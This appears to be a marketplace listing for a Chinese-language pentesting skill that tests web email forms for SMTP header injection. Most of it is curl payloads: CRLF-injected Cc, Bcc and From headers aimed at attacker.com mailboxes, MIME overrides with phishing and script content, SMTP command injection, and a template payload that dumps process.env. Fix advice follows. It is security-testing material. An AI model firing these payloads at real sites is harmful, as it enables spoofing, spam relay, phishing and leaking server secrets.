/cybersecurity-skills-zh:testing-for-email-header-injectionfrom cybersecurity-skills-zh
Tests web application email functionality for SMTP header injection vulnerabilities, including CRLF injection, spam relay, and email header manipulation.
Ships in cybersecurity-skills-zh. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
# 识别会出现在邮件头部的表单字段:
# - "发件人"姓名或邮箱地址字段
# - 分享功能中的"收件人"或"抄送"字段
# - 主题行输入
# - 回复地址字段
# 常见端点:
# POST /contact — 联系表单
# POST /share — 邮件分享功能
# POST /invite — 邀请系统
# POST /api/send-email — 邮件 API 端点
# POST /forgot-password — 密码重置表单
# 先测试基本功能
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello&message=Test message"
# 通过邮箱字段中的 CRLF 注入额外邮件头部
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ACc:[email protected]&message=Test"
# 注入 BCC 头部
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"
# 通过 name 字段注入
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:[email protected]&[email protected]&message=Test"
# 通过 subject 字段注入
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"
# 尝试不同的 CRLF 编码变体
# %0D%0A(CRLF)
curl -X POST http://target.com/contact \
-d "[email protected]%0D%0ACc:[email protected]"
# %0A(仅 LF)
curl -X POST http://target.com/contact \
-d "[email protected]%0ACc:[email protected]"
# %0D(仅 CR)
curl -X POST http://target.com/contact \
-d "[email protected]%0DCc:[email protected]"
# 双重编码
curl -X POST http://target.com/contact \
-d "[email protected]%250ACc:[email protected]"
# 通过注入 Content-Type 和正文覆盖邮件内容
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# 注入额外的 MIME 部分
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# 覆盖 From 头部实施邮件伪造
curl -X POST http://target.com/contact \
-d "[email protected]%0AFrom:[email protected]"
# 注入 Reply-To 用于网络钓鱼
curl -X POST http://target.com/contact \
-d "[email protected]%0AReply-To:[email protected]"
# 通过邮箱字段注入 IMAP 命令
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP 命令注入
curl -X POST http://target.com/api/send \
-d "[email protected]%0ARCPT TO:[email protected]"
# SMTP VRFY 命令注入
curl -X POST http://target.com/api/verify \
-d "[email protected]%0AVRFY admin"
# 测试 SMTP 中继滥用
curl -X POST http://target.com/contact \
-d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"
# JSON API 头部注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'
# 数组注入实现多收件人
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'
# 邮件正文中的模板注入
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
# 检查注入的 CC/BCC 邮件是否已收到
# 监控 [email protected] 收件箱中的副本
# 通过邮件原始来源验证头部注入
# 在收到的邮件中,查看"查看原始邮件"或"显示邮件头"
# 寻找注入的 Cc:、Bcc:、From: 或 Reply-To: 头部
# 测试应用是否可被用作垃圾邮件中继
# 方法是在 BCC 中注入多个收件人
# 记录完整的注入链
# 1. 注入点(哪个字段)
# 2. 所需编码(CRLF、URL 编码)
# 3. 影响(垃圾邮件中继、网络钓鱼、数据窃取)
| 概念 | 定义 |
|---|---|
| CRLF 注入(CRLF Injection) | 注入回车和换行字符以创建新的邮件头部 |
| 头部注入(Header Injection) | 向外发邮件添加未授权头部(Cc、Bcc、From) |
| 垃圾邮件中继(Spam Relay) | 滥用邮件功能向任意收件人发送垃圾邮件 |
| 邮件伪造(Email Spoofing) | 修改 From 或 Reply-To 头部以冒充可信发件人 |
| MIME 操控(MIME Manipulation) | 注入 MIME 边界以覆盖邮件正文内容 |
| SMTP 命令注入(SMTP Command Injection) | 通过未经过滤的邮件参数注入原始 SMTP 命令 |
| 换行字符(Newline Characters) | \r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部 |
| 工具 | 用途 |
|---|---|
| Burp Suite | 修改与邮件相关的表单提交的 HTTP 代理 |
| swaks | SMTP 测试和头部注入验证的瑞士军刀工具 |
| OWASP ZAP | 具有邮件注入检测功能的自动化扫描器 |
| mailhog | 用于捕获注入邮件的本地 SMTP 测试服务器 |
| smtp4dev | 用于监控邮件注入结果的开发 SMTP 服务器 |
| Nuclei | 具有邮件头部注入检测模板的扫描器 |
## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)
### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC 头部已注入 | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:[email protected] | From 伪造 | Medium |
### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub killvxk/cybersecurity-skills-zh --plugin cybersecurity-skills-zh735 skills in this plugin
/acquiring-disk-image-with-dd-and-dcfldd使用 dd 和 dcfldd 创建取证级逐位磁盘镜像,通过哈希验证保持证据完整性。/analyzing-active-directory-acl-abuse使用 ldap3 检测 Active Directory 中危险的 ACL 配置错误,识别 GenericAll、WriteDACL 和 WriteOwner 等滥用路径/analyzing-android-malware-with-apktool使用 apktool 进行反编译、jadx 恢复 Java 源码、androguard 进行权限分析,对 Android APK 恶意软件样本执行静态分析,包括清单检查和可疑 API 调用检测。Other plugins' skills for the same job